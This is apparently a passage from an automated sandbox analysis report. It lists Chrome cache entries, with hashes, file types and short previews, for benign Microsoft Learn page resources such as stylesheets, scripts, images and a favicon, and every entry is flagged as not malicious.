Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
